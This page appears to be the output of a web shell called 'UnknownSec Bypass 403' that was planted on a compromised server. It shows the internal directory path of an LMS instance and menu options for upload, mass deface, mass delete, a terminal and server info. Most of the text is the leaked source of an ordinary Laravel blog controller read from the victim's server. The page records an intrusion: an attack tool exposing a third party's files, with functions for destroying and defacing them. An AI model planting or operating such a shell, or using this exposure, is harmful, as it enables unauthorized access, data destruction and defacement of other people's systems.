UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_b085ce746e14
/
app
/
Http
/
Controllers
/
Blog
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
BlogController.php
<?php namespace EstudioLMS\Http\Controllers\Blog; use EstudioLMS\Base\ResponseBuilder; use EstudioLMS\Helpers\Helpers; use EstudioLMS\Http\Controllers\Controller; use EstudioLMS\Repositories\Auth\UserRepository; use EstudioLMS\Repositories\Blog\CategoryRepository; use EstudioLMS\Repositories\Blog\LanguageRepository; use EstudioLMS\Repositories\Blog\PostsRepository; use EstudioLMS\Repositories\Blog\VoteRepository; use EstudioLMS\Repositories\Config\ConfigRepository; use Illuminate\Contracts\Auth\Guard; use Illuminate\Contracts\Support\Arrayable; use Illuminate\Http\Request; use Illuminate\Translation\Translator; use League\Flysystem\Exception; use mjanssen\BreadcrumbsBundle\Breadcrumbs; use SEO; use SocialLinks\Page; /** * Class BlogController * @package EstudioLMS\Http\Controllers\Blog */ class BlogController extends Controller { /* * @var Translator */ protected $translator; /* * @var Breadcrumbs */ protected $breadCrumb; /* * @var Helpers */ protected $helper; /* * @var ResponseBuilder */ protected $responseBuilder; /* * @var UserRepository */ protected $userRepo; /* * @var Guard */ protected $auth; /* * @var LanguageRepository */ protected $languagesRepository; /* * @var CategoryRepository */ protected $category; /* * @var VoteRepository */ protected $vote; /* * @var UserRepository */ protected $user; /** * @var ConfigRepository */ private $configRepository; /** * @var PostsRepository */ private $posts; /** * @param Translator $translator * @param Breadcrumbs $breadCrumb * @param Helpers $helper * @param ResponseBuilder $responseBuilder * @param UserRepository $userRepo * @param Guard $auth * @param CategoryRepository $category * @param LanguageRepository $languagesRepository * @param PostsRepository $post * @param VoteRepository $vote * @param UserRepository $user * @param ConfigRepository $configRepository * @internal param CategoryRepository $categoryRepo */ public function __construct( Translator $translator, Breadcrumbs $breadCrumb, Helpers $helper, responseBuilder $responseBuilder, UserRepository $userRepo, Guard $auth, CategoryRepository $category, LanguageRepository $languagesRepository, PostsRepository $post, VoteRepository $vote, UserRepository $user, ConfigRepository $configRepository ) { $this->translator = $translator; $this->breadCrumb = $breadCrumb; $this->helper = $helper; $this->responseBuilder = $responseBuilder; $this->userRepo = $userRepo; $this->auth = $auth; $this->languagesRepository = $languagesRepository; $this->category = $category; $this->vote = $vote; $this->user = $user; $this->configRepository = $configRepository; $this->posts = $post; } /** * Index Action * @param Mixed $slug * @return Arrayable */ public function index($slug) { $config = $this->configRepository->findWhere([['id', '<>', 0]])->first(); $categories = $this->category->availableCategories(); $title = 'Blog - '.$config['site_name']; SEO::setTitle($title); SEO::setDescription($title); SEO::opengraph()->setTitle($title); SEO::opengraph()->setDescription($title); SEO::opengraph()->setUrl(route('blog.list', 'all')); SEO::opengraph()->addProperty('type', 'blog'); SEO::opengraph()->addProperty('locale', 'pt-br'); SEO::opengraph()->addProperty('locale:alternate', ['pt-pt', 'en-us']); SEO::opengraph()->addImage(url('/assets/images/site/logotipo.png')); $this->breadCrumb->addBreadcrumb('Home', route('index')); if ($slug == 'all') { $categ_list = ['' => 'Filtrar pela categoria:'] + $this->category->availableCategories() ->lists('name', 'id')->toArray(); $controller = 'PostsController'; $title = 'Todos os Posts'; $this->breadCrumb->addBreadcrumb('Blog', route('blog.list', 'all')); $languages = ['' => 'Escolha o Idioma'] + $this->languagesRepository->all() ->lists('name', 'id')->toArray(); } else { $categ_list = ['' => 'Filtrar pela categoria:'] + $this->category->findByField('slug', $slug) ->lists('name', 'id')->toArray(); $controller = 'PostsControllerCategory'; $languages = ['' => 'Escolha o Idioma'] + $this->languagesRepository ->findByField('id', $this->category->findByField('slug', $slug)->first()['id']) ->lists('name', 'id')->toArray(); $title = end($categ_list); $this->breadCrumb->addBreadcrumb('Blog', route('blog.list', 'all')); $this->breadCrumb->addBreadcrumb($title, route('blog.list', $slug)); } $bread = $this->breadCrumb->generate(); return $this->responseBuilder->render( 'site.blog.list', compact('categories'), compact('title', 'bread', 'categ_list', 'languages', 'controller', 'footerData') ); } /** * @param $cat_slug * @param $post_slug * @return mixed */ public function show($cat_slug, $post_slug) { $post = $this->posts->with(['user', 'category']) ->findByField('slug', $post_slug)->first(); $title = $post['title']; $this->breadCrumb->addBreadcrumb('Home', route('index')); $this->breadCrumb->addBreadcrumb('Blog', route('blog.list', 'all')); $this->breadCrumb->addBreadcrumb($post['category']['name'], route('blog.list', $post['category']['slug'])); $this->breadCrumb->addBreadcrumb($title, route('blog.show', [$post['category']['slug'], $post['slug']])); $bread = $this->breadCrumb->generate(); $post = $this->posts->with(['user', 'category']) ->findByField('slug', $post_slug)->first(); $recentPosts = []; if ($post) { $post['vote_enabled'] = $this->user->canVotePost($this->auth->user()['id'], $post['id']) == null ? true : false; $recentPosts = $this->posts->listRecentPosts($post['id'], 3); } $categories = $this->category->all(); SEO::setTitle($post['title']); SEO::setDescription($post['title']); SEO::opengraph()->setTitle($post['title']); SEO::opengraph()->setDescription($post['title']); SEO::opengraph()->setUrl(route('blog.show', [$post['category']['slug'], $post['slug']])); SEO::opengraph()->addProperty('type', 'blog'); SEO::opengraph()->addProperty('locale', 'pt-br'); SEO::opengraph()->addProperty('locale:alternate', ['pt-pt', 'en-us']); SEO::opengraph()->addImage(url('/posts/pictures/'.$post['picture'])); SEO::twitter()->setSite('@Acadtech'); $socialShare = new Page([ 'url' => route('blog.show', [$post['category']['slug'], $post['slug']]), 'title' => $post['title'], 'text' => $post['show_post'], 'image' => url('/posts/pictures/'.$post['picture']), 'twitterUser' => '@Acadtech' ]); return $this->responseBuilder->render( 'site.blog.post', compact('title', 'bread', 'post', 'categories', 'recentPosts', 'cat_slug', 'socialShare'), [] ); } /** * @return mixed */ public function showPosts() { return $this->posts->showBlogList(); } /** * @param $slug * @return mixed */ public function showPostsByCategory($slug) { return $this->posts->showBlogListByCategory($slug); } /** * @param Request $request * @return array */ public function vote(Request $request) { $data = $request->all(); try { if ($request['type'] == 'up') { $this->posts->update(['up' => $data['value']], $data['id']); } else { $this->posts->update(['down' => $data['value']], $data['id']); } } catch (Exception $ex) { return ['message' => 'Voto não computado', 'success' => false]; } try { $this->vote->create(['user_id' => $this->auth->user()['id'], 'post_id' => $data['id']]); $return = ['message' => 'Voto computado!', 'success' => true]; } catch (Exception $ex) { $return = ['message' => 'Voto não computado', 'success' => false]; } return $return; } }
Copyright © 2026 - UnknownSec